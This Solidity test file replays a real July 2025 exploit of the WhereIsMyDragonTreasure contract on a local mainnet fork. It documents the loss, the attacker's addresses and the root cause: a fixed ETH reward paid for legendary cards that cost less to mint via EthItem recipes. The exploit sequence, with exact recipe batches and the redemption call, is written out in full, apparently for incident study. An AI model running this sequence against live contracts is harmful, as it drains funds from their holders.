src/test/2025-07/WhereIsMyDragonTreasure_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : $47,461.35
8// Attacker : 0x8b88A3b92433638324E5f429bEe52b1fd84E7c5a
9// Attack Contract : 0xd73c37d235b6032b21ADAF7F6dE73BDbc31667B2
10// Vulnerable Contract : 0x32c87193C2cC9961F2283FcA3ca11A483d8E426B
11// Attack Tx : https://etherscan.io/tx/0x2154dd30d2bdd53b233d862ecd665c3a69c7a849cb498b724f622d9cb42771fc
12//
13// @Info
14// WhereIsMyDragon : https://etherscan.io/address/0x87AD9009C4Fd0AAa7bFE74f7E00845B3f09aD0CE#code
15// WhereIsMyDragonTreasure : https://etherscan.io/address/0x32c87193C2cC9961F2283FcA3ca11A483d8E426B#code
16//
17// @Analysis
18// Telegram Alert : https://t.me/defimon_alerts/1537
19//
20// Attack summary: The attacker used lower-cost EthItem recipe redemptions to mint/acquire one legendary card wrapper,
21// then redeemed it at WhereIsMyDragonTreasure for the configured fixed ETH reward.
22// Root cause: WhereIsMyDragonTreasure paid a fixed `_singleReward` for each legendary card while the effective cost to
23// mint/acquire a redeemable card through the recipe path was lower than that fixed redemption price.
24 
25interface IEthItemERC1155 {
26    function safeBatchTransferFrom(
27        address from,
28        address to,
29        uint256[] calldata ids,
30        uint256[] calldata amounts,
31        bytes calldata data
32    ) external;
33 
34    function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
35}
36 
37interface IERC20View {
38    function balanceOf(address account) external view returns (uint256);
39}
40 
41interface IWhereIsMyDragonTreasure {
42    function data() external view returns (uint256 balance, uint256 singleReward, uint256 startBlock, uint256 redeemed);
43}
44 
45contract ContractTest is BaseTestWithBalanceLog {
46    address private constant ATTACKER = 0x8b88A3b92433638324E5f429bEe52b1fd84E7c5a;
47    address private constant DRAGON = 0x87AD9009C4Fd0AAa7bFE74f7E00845B3f09aD0CE;
48    address private constant TREASURE = 0x32c87193C2cC9961F2283FcA3ca11A483d8E426B;
49    IEthItemERC1155 private constant ETH_ITEM = IEthItemERC1155(0xb6ab68A44eCc9fb2244AaB83eB2f6dbA54205EBf);
50 
51    address private constant CARD_C2C566 = 0xc2c5667f69E881C83Fc4692f7A08a22370B4cc41;
52    address private constant CARD_E63983 = 0xE63983b5FAdE429eC052d1b365826C4Bc5fCB198;
53    address private constant CARD_7C23AC = 0x7C23Ac2E8DA915d4f422CF710f4767FAa0c332fa;
54    address private constant CARD_A70C86 = 0xA70C8667cCFB63D6b98C2A050c94b7Bf2085dC55;
55    address private constant CARD_9B16E7 = 0x9b16e70797276Ae1bE23874961D1E6a9698e1EC6;
56    address private constant CARD_88B953 = 0x88B95322b5E93B891D83031F2f55Ca238D5e6417;
57    address private constant LEGENDARY_CARD = 0x22e6559F495F97Af51fF56719CdFF80F65a0B93A;
58 
59    uint256 private constant FORK_BLOCK = 23_000_243;
60    uint256 private constant SINGLE_REWARD = 12_775_839_441_940_405_641;
61 
62    function setUp() public {
63        vm.createSelectFork("mainnet", FORK_BLOCK);
64 
65        fundingToken = address(0);
66        attacker = ATTACKER;
67 
68        vm.label(ATTACKER, "attacker");
69        vm.label(DRAGON, "WhereIsMyDragon");
70        vm.label(TREASURE, "WhereIsMyDragonTreasure");
71        vm.label(address(ETH_ITEM), "EthItem ERC1155");
72        vm.label(LEGENDARY_CARD, "legendary card wrapper");
73    }
74 
75    function testExploit() public balanceLog {
76        (, uint256 singleReward, uint256 startBlock,) = IWhereIsMyDragonTreasure(TREASURE).data();
77        assertEq(singleReward, SINGLE_REWARD, "unexpected configured reward");
78        assertGe(block.number, startBlock, "redeem period not started");
79 
80        uint256 ethBefore = ATTACKER.balance;
81        uint256 legendaryBefore = IERC20View(LEGENDARY_CARD).balanceOf(ATTACKER);
82 
83        vm.startPrank(ATTACKER);
84        for (uint256 i = 0; i < 15; i++) {
85            _sendRecipeA();
86        }
87        for (uint256 i = 0; i < 7; i++) {
88            _sendRecipeB();
89        }
90        _sendRecipeC();
91 
92        assertEq(IERC20View(LEGENDARY_CARD).balanceOf(ATTACKER), legendaryBefore + 1 ether, "legendary card not minted");
93        ETH_ITEM.safeTransferFrom(ATTACKER, TREASURE, _id(LEGENDARY_CARD), 1, "");
94        vm.stopPrank();
95 
96        assertEq(ATTACKER.balance - ethBefore, SINGLE_REWARD, "ETH reward mismatch");
97        assertEq(IERC20View(LEGENDARY_CARD).balanceOf(ATTACKER), legendaryBefore, "legendary card not burned");
98    }
99 
100    function _sendRecipeA() private {
101        _sendBatch(_id(CARD_C2C566), _id(CARD_E63983), _id(CARD_7C23AC), 99, 44, 10);
102    }
103 
104    function _sendRecipeB() private {
105        _sendBatch(_id(CARD_A70C86), _id(CARD_7C23AC), _id(CARD_9B16E7), 200, 346, 2);
106    }
107 
108    function _sendRecipeC() private {
109        _sendBatch(_id(CARD_C2C566), _id(CARD_9B16E7), _id(CARD_88B953), 60, 3, 9);
110    }
111 
112    function _sendBatch(
113        uint256 id0,
114        uint256 id1,
115        uint256 id2,
116        uint256 amount0,
117        uint256 amount1,
118        uint256 amount2
119    ) private {
120        uint256[] memory ids = new uint256[](3);
121        ids[0] = id0;
122        ids[1] = id1;
123        ids[2] = id2;
124 
125        uint256[] memory amounts = new uint256[](3);
126        amounts[0] = amount0;
127        amounts[1] = amount1;
128        amounts[2] = amount2;
129 
130        ETH_ITEM.safeBatchTransferFrom(ATTACKER, DRAGON, ids, amounts, "");
131    }
132 
133    function _id(address wrapper) private pure returns (uint256) {
134        return uint256(uint160(wrapper));
135    }
136}